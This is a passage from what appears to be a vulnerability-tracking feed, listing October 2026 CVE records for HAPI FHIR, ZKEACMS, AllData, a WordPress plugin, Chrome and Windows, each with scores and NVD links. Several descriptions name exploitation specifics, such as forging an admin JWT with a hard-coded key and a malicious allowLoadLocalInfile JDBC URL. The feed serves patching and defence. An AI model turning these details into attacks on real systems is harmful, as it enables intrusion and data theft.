EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113874&date=2026-10-25).
Sources:
NVD CVE-2026-113874: https://nvd.nist.gov/vuln/detail/CVE-2026-113874
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113874&date=2026-10-25
SmileCDR HAPI FHIR allows an untrusted bundle body to replace a partition identity previously established by a trusted source, and does not enforce storage partition entitlement by default. An attacker authorized for one tenant can read from or write to another tenant's partition.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SmileCDR HAPI FHIR does not properly handle highly compressed data, allowing an unauthenticated attacker to send compressed payloads that exhaust server heap or crash certain...
https://kevwire.com/record/CVE-2026-113873
SmileCDR HAPI FHIR does not properly handle highly compressed data, allowing an unauthenticated attacker to send compressed payloads that exhaust server heap or crash certain... (Oct 22, 2026).
SmileCDR HAPI FHIR does not properly handle highly compressed data, allowing an unauthenticated attacker to send compressed payloads that exhaust server heap or crash certain services when decompressed.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113873).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113873&date=2026-10-25).
Sources:
NVD CVE-2026-113873: https://nvd.nist.gov/vuln/detail/CVE-2026-113873
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113873&date=2026-10-25
SmileCDR HAPI FHIR does not properly handle highly compressed data, allowing an unauthenticated attacker to send compressed payloads that exhaust server heap or crash certain services when decompressed.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ZKEACMS through 4.4 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge REST API JWT bearer tokens using a hard-coded HMAC-SHA256...
https://kevwire.com/record/CVE-2026-111633
ZKEACMS through 4.4 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge REST API JWT bearer tokens using a hard-coded HMAC-SHA256... (Oct 16, 2026).
ZKEACMS through 4.4 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge REST API JWT bearer tokens using a hard-coded HMAC-SHA256 signing key in JwtBearerDefaults.cs. Attackers can sign a token with the Name claim set to 'admin' to call ApiAuthorize endpoints, modifying articles and products and reading form submissions.
CVSS 8.8 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111633).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111633&date=2026-10-25).
Sources:
NVD CVE-2026-111633: https://nvd.nist.gov/vuln/detail/CVE-2026-111633
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111633&date=2026-10-25
ZKEACMS through 4.4 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge REST API JWT bearer tokens using a hard-coded HMAC-SHA256 signing key in JwtBearerDefaults.cs. Attackers can sign a token with the Name claim set to 'admin' to call ApiAuthorize endpoints, modifying articles and products and reading form submissions.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### AllData through 0.7.1 contains an unauthenticated JDBC injection vulnerability that allows remote attackers to open arbitrary database connections by supplying jdbcUrl and...
https://kevwire.com/record/CVE-2026-111613
AllData through 0.7.1 contains an unauthenticated JDBC injection vulnerability that allows remote attackers to open arbitrary database connections by supplying jdbcUrl and... (Oct 16, 2026).
AllData through 0.7.1 contains an unauthenticated JDBC injection vulnerability that allows remote attackers to open arbitrary database connections by supplying jdbcUrl and jdbcDriverClass values to the data-dts /jobJdbcDatasource/test endpoint. Attackers can supply a MySQL JDBC URL with allowLoadLocalInfile=true pointing to an attacker-controlled server to read arbitrary files from the data-dts host.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111613).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111613&date=2026-10-25).
Sources:
NVD CVE-2026-111613: https://nvd.nist.gov/vuln/detail/CVE-2026-111613
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111613&date=2026-10-25
AllData through 0.7.1 contains an unauthenticated JDBC injection vulnerability that allows remote attackers to open arbitrary database connections by supplying jdbcUrl and jdbcDriverClass values to the data-dts /jobJdbcDatasource/test endpoint. Attackers can supply a MySQL JDBC URL with allowLoadLocalInfile=true pointing to an attacker-controlled server to read arbitrary files from the data-dts host.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Mang Board plugin for WordPress is vulnerable to Arbitrary File Upload in version 2.4.4 via the mbw_file_upload function.
https://kevwire.com/record/CVE-2026-109219
The Mang Board plugin for WordPress is vulnerable to Arbitrary File Upload in version 2.4.4 via the mbw_file_upload function. (Oct 16, 2026).
The Mang Board plugin for WordPress is vulnerable to Arbitrary File Upload in version 2.4.4 via the mbw_file_upload function. This is due to missing file extension validation on the attacker-supplied image_path parameter, whose basename-derived file name bypasses the extension allowlist applied only to the separate file_name parameter. This makes it possible for unauthenticated attackers to upload files that may be executable, which makes remote code execution possible. Exploitation requires the board to be configured to allow guest posts, which is the plugin's default mode; the required nonce is printed on every public board page, making it readable by any unauthenticated visitor without a WordPress login.
CVSS 9.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109219).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109219&date=2026-10-25).
Sources:
NVD CVE-2026-109219: https://nvd.nist.gov/vuln/detail/CVE-2026-109219
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109219&date=2026-10-25
The Mang Board plugin for WordPress is vulnerable to Arbitrary File Upload in version 2.4.4 via the mbw_file_upload function. This is due to missing file extension validation on the attacker-supplied image_path parameter, whose basename-derived file name bypasses the extension allowlist applied only to the separate file_name parameter. This makes it possible for unauthenticated attackers to upload files that may be executable, which makes remote code execution possible. Exploitation requires the board to be configured to allow guest posts, which is the plugin's default mode; the required nonce is printed on every public board page, making it readable by any unauthenticated visitor without a WordPress login.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Messages in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a...
https://kevwire.com/record/CVE-2026-113145
Memory corruption in Messages in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a... (Oct 20, 2026).
Memory corruption in Messages in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113145).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113145&date=2026-10-25).
Sources:
NVD CVE-2026-113145: https://nvd.nist.gov/vuln/detail/CVE-2026-113145
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113145&date=2026-10-25
Memory corruption in Messages in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Messages in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113156
Use after free in Messages in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Messages in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113156).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113156&date=2026-10-25).
Sources:
NVD CVE-2026-113156: https://nvd.nist.gov/vuln/detail/CVE-2026-113156
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113156&date=2026-10-25
Use after free in Messages in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in WebGL in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113163
Use after free in WebGL in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in WebGL in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113163).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113163&date=2026-10-25).
Sources:
NVD CVE-2026-113163: https://nvd.nist.gov/vuln/detail/CVE-2026-113163
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113163&date=2026-10-25
Use after free in WebGL in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Voice in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113164
Memory corruption in Voice in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Voice in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113164).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113164&date=2026-10-25).
Sources:
NVD CVE-2026-113164: https://nvd.nist.gov/vuln/detail/CVE-2026-113164
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113164&date=2026-10-25
Memory corruption in Voice in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Mobile in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...
https://kevwire.com/record/CVE-2026-113088
Memory corruption in Mobile in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted... (Oct 20, 2026).
Memory corruption in Mobile in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113088).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113088&date=2026-10-25).
Sources:
NVD CVE-2026-113088: https://nvd.nist.gov/vuln/detail/CVE-2026-113088
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113088&date=2026-10-25
Memory corruption in Mobile in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Network Load Balancing allows an unauthorized attacker to execute code over an adjacent network.
https://kevwire.com/record/CVE-2026-83862
Use after free in Windows Network Load Balancing allows an unauthorized attacker to execute code over an adjacent network. (Oct 13, 2026).
Use after free in Windows Network Load Balancing allows an unauthorized attacker to execute code over an adjacent network.
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83862).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83862&date=2026-10-25).
Sources:
NVD CVE-2026-83862: https://nvd.nist.gov/vuln/detail/CVE-2026-83862
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83862
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83862&date=2026-10-25
Use after free in Windows Network Load Balancing allows an unauthorized attacker to execute code over an adjacent network.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in PerformanceAPIs in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113091
Use after free in PerformanceAPIs in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML... (Oct 20, 2026).
Use after free in PerformanceAPIs in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113091).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113091&date=2026-10-25).
Sources:
NVD CVE-2026-113091: https://nvd.nist.gov/vuln/detail/CVE-2026-113091
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113091&date=2026-10-25
Use after free in PerformanceAPIs in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Passwords in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113092
Use after free in Passwords in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Passwords in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113092).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113092&date=2026-10-25).
Sources:
NVD CVE-2026-113092: https://nvd.nist.gov/vuln/detail/CVE-2026-113092
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113092&date=2026-10-25
Use after free in Passwords in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Text in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113096
Memory corruption in Text in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Text in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113096).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113096&date=2026-10-25).
Sources:
NVD CVE-2026-113096: https://nvd.nist.gov/vuln/detail/CVE-2026-113096
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113096&date=2026-10-25
Memory corruption in Text in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in Omnibox in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a...
https://kevwire.com/record/CVE-2026-113099
Improper input validation in Omnibox in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a... (Oct 20, 2026).
Improper input validation in Omnibox in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113099).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113099&date=2026-10-25).
Sources:
NVD CVE-2026-113099: https://nvd.nist.gov/vuln/detail/CVE-2026-113099
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113099&date=2026-10-25
Improper input validation in Omnibox in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Media in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113107
Use after free in Media in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Media in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113107).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113107&date=2026-10-25).
Sources:
NVD CVE-2026-113107: https://nvd.nist.gov/vuln/detail/CVE-2026-113107
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113107&date=2026-10-25
Use after free in Media in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in ANGLE in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a...
https://kevwire.com/record/CVE-2026-113117
Improper input validation in ANGLE in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a... (Oct 20, 2026).
Improper input validation in ANGLE in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113117).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113117&date=2026-10-25).
Sources:
NVD CVE-2026-113117: https://nvd.nist.gov/vuln/detail/CVE-2026-113117
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113117&date=2026-10-25
Improper input validation in ANGLE in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Network in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113119
Use after free in Network in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Network in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113119).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113119&date=2026-10-25).
Sources:
NVD CVE-2026-113119: https://nvd.nist.gov/vuln/detail/CVE-2026-113119
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113119&date=2026-10-25
Use after free in Network in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in ContextMenu in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a...
https://kevwire.com/record/CVE-2026-113121
Memory corruption in ContextMenu in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a... (Oct 20, 2026).
Memory corruption in ContextMenu in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113121).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113121&date=2026-10-25).
Sources:
NVD CVE-2026-113121: https://nvd.nist.gov/vuln/detail/CVE-2026-113121
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
